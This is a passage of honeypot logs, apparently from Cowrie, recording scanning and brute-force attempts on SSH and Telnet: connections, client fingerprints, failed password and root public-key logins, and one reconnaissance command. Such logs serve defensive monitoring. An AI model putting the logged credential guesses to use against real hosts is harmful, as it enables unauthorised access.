{"eventid":"cowrie.command.input","input":"[ -f /etc/os-release ]","message":"CMD: [ -f /etc/os-release ]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.389352Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","size":356,"shasum":"4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/4b853a127f8928d65192c11455255f0ba516e72e1a3e5d440915cf9acb1e4c0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.519118Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:44.619681Z","src_ip":"91.92.40.4","session":"dc0d2b9a2c9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50214,"dst_ip":"159.203.135.109","dst_port":23,"session":"227dbec48555","protocol":"telnet","message":"New connection: 170.64.224.25:50214 (159.203.135.109:23) [session: 227dbec48555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:46.093948Z"}
{"eventid":"cowrie.session.connect","src_ip":"178.122.114.171","src_port":45648,"dst_ip":"159.203.135.109","dst_port":23,"session":"b33c9b84a942","protocol":"telnet","message":"New connection: 178.122.114.171:45648 (159.203.135.109:23) [session: b33c9b84a942]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:06:55.952268Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40062,"dst_ip":"159.203.135.109","dst_port":23,"session":"1338a3fdd98c","protocol":"telnet","message":"New connection: 170.64.224.25:40062 (159.203.135.109:23) [session: 1338a3fdd98c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:01.771013Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":36678,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf478206a6b0","protocol":"ssh","message":"New connection: 101.32.145.199:36678 (10.17.0.5:22) [session: bf478206a6b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:07.768138Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:07.773552Z","src_ip":"101.32.145.199","session":"bf478206a6b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:08.007495Z","src_ip":"101.32.145.199","session":"bf478206a6b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"qweasd123","message":"login attempt [test/qweasd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:08.959547Z","src_ip":"101.32.145.199","session":"bf478206a6b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.077219486236572,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:09.029349Z","src_ip":"178.122.114.171","session":"b33c9b84a942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:10.203021Z","src_ip":"101.32.145.199","session":"bf478206a6b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":57102,"dst_ip":"10.17.0.5","dst_port":22,"session":"bcc8e4c5b462","protocol":"ssh","message":"New connection: 222.108.100.117:57102 (10.17.0.5:22) [session: bcc8e4c5b462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:41.099755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:41.104251Z","src_ip":"222.108.100.117","session":"bcc8e4c5b462","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:41.316597Z","src_ip":"222.108.100.117","session":"bcc8e4c5b462","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:42.210147Z","src_ip":"222.108.100.117","session":"bcc8e4c5b462","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:43.427071Z","src_ip":"222.108.100.117","session":"bcc8e4c5b462","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.210.155.71","src_port":36558,"dst_ip":"10.17.0.5","dst_port":22,"session":"25b349d01058","protocol":"ssh","message":"New connection: 210.210.155.71:36558 (10.17.0.5:22) [session: 25b349d01058]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:44.226731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:44.230908Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:44.462596Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c2:d5:b9:21:c6:60:22:7f:c3:db:ca:54:13:55:c9:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTdc4vKvJFy7CmbDtP3YJSZAI9WZNHBSEBSrgwJm8NU/BhMnggy/lvAhrMNcJ8I+Ix2wtPe6c3QFYEU0L2vna+WqSqtY8e9/NyG/yVGaXAQFEbHLJus7c78rA9puN40lgJPYY6bL25fSn/RAGM4vZ57EAF+0AN7CSbATLsjC/wVI9PNdXP0sidYCb3Tc/bBL96ivrH1OxEEnD9Hfk/b4NEJEHX4kYHpAKZYVpJx7QMrzvdQKjf1G7OQZ00vyEdhO2DbEQdEBK7vIpaAwx2HTPKee6ssximd8SASvNyHb3GiKomcfwnVr0oeem4oTGMnFQJobqXm6LpZuY93cLsCgsb","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c2:d5:b9:21:c6:60:22:7f:c3:db:ca:54:13:55:c9:4b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:45.585643Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c2:d5:b9:21:c6:60:22:7f:c3:db:ca:54:13:55:c9:4b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTdc4vKvJFy7CmbDtP3YJSZAI9WZNHBSEBSrgwJm8NU/BhMnggy/lvAhrMNcJ8I+Ix2wtPe6c3QFYEU0L2vna+WqSqtY8e9/NyG/yVGaXAQFEbHLJus7c78rA9puN40lgJPYY6bL25fSn/RAGM4vZ57EAF+0AN7CSbATLsjC/wVI9PNdXP0sidYCb3Tc/bBL96ivrH1OxEEnD9Hfk/b4NEJEHX4kYHpAKZYVpJx7QMrzvdQKjf1G7OQZ00vyEdhO2DbEQdEBK7vIpaAwx2HTPKee6ssximd8SASvNyHb3GiKomcfwnVr0oeem4oTGMnFQJobqXm6LpZuY93cLsCgsb","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:45.588750Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.98087024688721,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:45.751738Z","src_ip":"170.64.224.25","session":"1338a3fdd98c","protocol":"telnet"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"54:58:22:00:d0:2f:44:eb:9f:40:9f:9c:5b:c1:50:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpoTppAFkdFuFB5tGCh50G+snddb3Tpjyg2yeB0fF+5b3SQYpTraGAbCwW2qG/5fuss10vKvghuCymQ5Dv3J+j135/MItQxo1z+fUb30dkafSq0Ud4r9EW+pfQwJ5lbyW7Ut/gtsomZ1B7LWB3VFD5afPRkGI2V/0ZKiPNxpyOq+05WdGrgno52uM2slNmot7MrjwIAs7O31hq+RyjHdSCeIiWLZzv264C8OhKnnnyw4GfiZG8iBIh3NHleLM6D6BcL47UZ2NXyBGVpQGNB//xUG15eKxlSSC8JHrtBqYRl/87nhTY9g6+folHpxSr0K31Ikj0kJDiiWbeW9Yp0lLF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 54:58:22:00:d0:2f:44:eb:9f:40:9f:9c:5b:c1:50:a9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:45.817222Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"54:58:22:00:d0:2f:44:eb:9f:40:9f:9c:5b:c1:50:a9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDpoTppAFkdFuFB5tGCh50G+snddb3Tpjyg2yeB0fF+5b3SQYpTraGAbCwW2qG/5fuss10vKvghuCymQ5Dv3J+j135/MItQxo1z+fUb30dkafSq0Ud4r9EW+pfQwJ5lbyW7Ut/gtsomZ1B7LWB3VFD5afPRkGI2V/0ZKiPNxpyOq+05WdGrgno52uM2slNmot7MrjwIAs7O31hq+RyjHdSCeIiWLZzv264C8OhKnnnyw4GfiZG8iBIh3NHleLM6D6BcL47UZ2NXyBGVpQGNB//xUG15eKxlSSC8JHrtBqYRl/87nhTY9g6+folHpxSr0K31Ikj0kJDiiWbeW9Yp0lLF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:45.819947Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"2a:c6:44:9f:6b:6b:cf:8d:3c:b7:98:8e:be:ae:e4:a7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALy7Ukv32RAy9Pry/BaI49D/OeQgpKxUqByJ7tFXsgzXpbnP9FrlTZqrSVJaFBTyTTfdbI3348NkEg9jvc7zSsXI5tgz7OkUA3Mnr8khjRdh252WhwiuTFS9VU0MUGtUNaIfiT1qXrp4N/+Da1UZiJ1+F4T3/tBifth+jqxcpdYBAAAAFQCB6lTU553kcZoOHrD5+7JL/W0N8wAAAIEApWIprm8ByXU/fT3lpBoe9h/ArHeZ2X9H/x4ma/Bra+Rv7To9IG73OWd2OOf/N8xh+w2JyrlOtYtHJqEwT9J24GXQDQlmmb2f28ObALJ6a0JFOfMym5AYJmnlavCCvGBkuPtW/epgs2hrJ37k28Msfn5hDy63pzWsrakHjWqFrXkAAACBALKdv0SQ7jAmgk/qe61N8KKivL4zIMMArHNOBUxr4YUCQgU3l3ei5vXpVD3MPWeYwPlX19lmF6nrFyEg6Ch7MWbfusgej2IqNcxt7+RO5Uqm4O/Tsyu8+g4Stz9N8XpNTmAiCnE8e8AP6Ld+E85J06zsBgI/nIOThuORIIT04DsL","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 2a:c6:44:9f:6b:6b:cf:8d:3c:b7:98:8e:be:ae:e4:a7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:46.049082Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"2a:c6:44:9f:6b:6b:cf:8d:3c:b7:98:8e:be:ae:e4:a7","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALy7Ukv32RAy9Pry/BaI49D/OeQgpKxUqByJ7tFXsgzXpbnP9FrlTZqrSVJaFBTyTTfdbI3348NkEg9jvc7zSsXI5tgz7OkUA3Mnr8khjRdh252WhwiuTFS9VU0MUGtUNaIfiT1qXrp4N/+Da1UZiJ1+F4T3/tBifth+jqxcpdYBAAAAFQCB6lTU553kcZoOHrD5+7JL/W0N8wAAAIEApWIprm8ByXU/fT3lpBoe9h/ArHeZ2X9H/x4ma/Bra+Rv7To9IG73OWd2OOf/N8xh+w2JyrlOtYtHJqEwT9J24GXQDQlmmb2f28ObALJ6a0JFOfMym5AYJmnlavCCvGBkuPtW/epgs2hrJ37k28Msfn5hDy63pzWsrakHjWqFrXkAAACBALKdv0SQ7jAmgk/qe61N8KKivL4zIMMArHNOBUxr4YUCQgU3l3ei5vXpVD3MPWeYwPlX19lmF6nrFyEg6Ch7MWbfusgej2IqNcxt7+RO5Uqm4O/Tsyu8+g4Stz9N8XpNTmAiCnE8e8AP6Ld+E85J06zsBgI/nIOThuORIIT04DsL","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:46.051992Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:05:99:21:bf:30:6d:ed:d1:0d:aa:7c:10:0c:d1:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMz/X0siOxIPqXRmA2co3G9aJgmMvbcIJ8hiGVlMpxvDwUOOMlX6P9him1lbp655sls7MwfMMj8cdWvRK8+s75jANgMox4FxBUla173ph8kzvZAgCD6Fe/KqBtMDutJYOHQWGpxck0qdIFQHUo1QWUSAFt1Ddi58cxjZHCYO7WGmYE/iCFq5EQe6cOyrULm8kDJ/g4QHWLN4USu7zy26H/J2SjykeWbYi7jhYt9/CTfzCHxazgjGEfadLlsi+27z/bQD93j/gOIba20PxfbTndboROLE9X8bK6euoDrgnYBZ0ykjsoz9hI4Kn9iQLSOcgoKGU8dMkkCUM1UYmU89HTRTlWTKXRgiX2qcUw689y8j+HjxtTgC1DfHn3Sq2D/raPCToAg2v3FYSv73sdjfNlYQnOcbgrMATEzwCg2h9yhtQz3OY/UeF8Nahxg6zFm4L01bLBf2FwNClO+9h/fSWWMNIdkAokD7VsjtOXhTQ3bMSmDljFBuZF6P/5MmeqGGamHaM7sQWTDwUvcfLA6wqhW/EprcAPp5UyYHRJrvwkILt+tLa1l6+s+f3tl11SCm9oRrja+2JXKWsTjdFvQeM3lJZ2SdD9AJTcPYarsrPhHLARa45DZGdEivz5Md6JvdgMqi98zjY080zJu62JY4Rk60mhhUuUFLmA2zLMx56ciQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:05:99:21:bf:30:6d:ed:d1:0d:aa:7c:10:0c:d1:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:46.284684Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:05:99:21:bf:30:6d:ed:d1:0d:aa:7c:10:0c:d1:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDMz/X0siOxIPqXRmA2co3G9aJgmMvbcIJ8hiGVlMpxvDwUOOMlX6P9him1lbp655sls7MwfMMj8cdWvRK8+s75jANgMox4FxBUla173ph8kzvZAgCD6Fe/KqBtMDutJYOHQWGpxck0qdIFQHUo1QWUSAFt1Ddi58cxjZHCYO7WGmYE/iCFq5EQe6cOyrULm8kDJ/g4QHWLN4USu7zy26H/J2SjykeWbYi7jhYt9/CTfzCHxazgjGEfadLlsi+27z/bQD93j/gOIba20PxfbTndboROLE9X8bK6euoDrgnYBZ0ykjsoz9hI4Kn9iQLSOcgoKGU8dMkkCUM1UYmU89HTRTlWTKXRgiX2qcUw689y8j+HjxtTgC1DfHn3Sq2D/raPCToAg2v3FYSv73sdjfNlYQnOcbgrMATEzwCg2h9yhtQz3OY/UeF8Nahxg6zFm4L01bLBf2FwNClO+9h/fSWWMNIdkAokD7VsjtOXhTQ3bMSmDljFBuZF6P/5MmeqGGamHaM7sQWTDwUvcfLA6wqhW/EprcAPp5UyYHRJrvwkILt+tLa1l6+s+f3tl11SCm9oRrja+2JXKWsTjdFvQeM3lJZ2SdD9AJTcPYarsrPhHLARa45DZGdEivz5Md6JvdgMqi98zjY080zJu62JY4Rk60mhhUuUFLmA2zLMx56ciQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:46.287900Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e6:3f:21:dd:61:3b:57:ff:7d:5e:47:13:22:83:65:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXlGzW5eHVfVaPU3lllHCjMiKTyyuUFr9nCrp4/Uo15ZA7Ez3BRn8zUP9Skj0ZlW224eMby1dGnO2ZX31DIjxoRbY8npRlTvjLepjlUbuvhKzpr9GMI4AxzL20eOEyYllhJokpWpn4L+pmav2Po6+JZbuq9yvUXUmVJ0zsOwSBli2DiaE1hkD3Mtxg6hCrdtH9GuqHQiIQ03i011212XxHsuHuJeEDYRVyJwIoh8I7DswRQDdrx9OzqZVQPUl1XbAMwxUO5tpb4J4Y8C0qQXt2S0sqx3Ep5bRJLs6At/IxakJXlKDWb5q4cZ6LBsHkdNt7jGx7Tr5rx5u1CTP1FdFZ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e6:3f:21:dd:61:3b:57:ff:7d:5e:47:13:22:83:65:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:46.516695Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e6:3f:21:dd:61:3b:57:ff:7d:5e:47:13:22:83:65:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXlGzW5eHVfVaPU3lllHCjMiKTyyuUFr9nCrp4/Uo15ZA7Ez3BRn8zUP9Skj0ZlW224eMby1dGnO2ZX31DIjxoRbY8npRlTvjLepjlUbuvhKzpr9GMI4AxzL20eOEyYllhJokpWpn4L+pmav2Po6+JZbuq9yvUXUmVJ0zsOwSBli2DiaE1hkD3Mtxg6hCrdtH9GuqHQiIQ03i011212XxHsuHuJeEDYRVyJwIoh8I7DswRQDdrx9OzqZVQPUl1XbAMwxUO5tpb4J4Y8C0qQXt2S0sqx3Ep5bRJLs6At/IxakJXlKDWb5q4cZ6LBsHkdNt7jGx7Tr5rx5u1CTP1FdFZ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:46.519647Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:46.748123Z","src_ip":"210.210.155.71","session":"25b349d01058","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.68283772468567,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:07:50.776664Z","src_ip":"170.64.224.25","session":"227dbec48555","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":57526,"dst_ip":"159.203.135.109","dst_port":22,"session":"02000cd68918","protocol":"ssh","message":"New connection: 157.230.18.133:57526 (159.203.135.109:22) [session: 02000cd68918]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:01.735144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:08:01.742499Z","src_ip":"157.230.18.133","session":"02000cd68918","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hell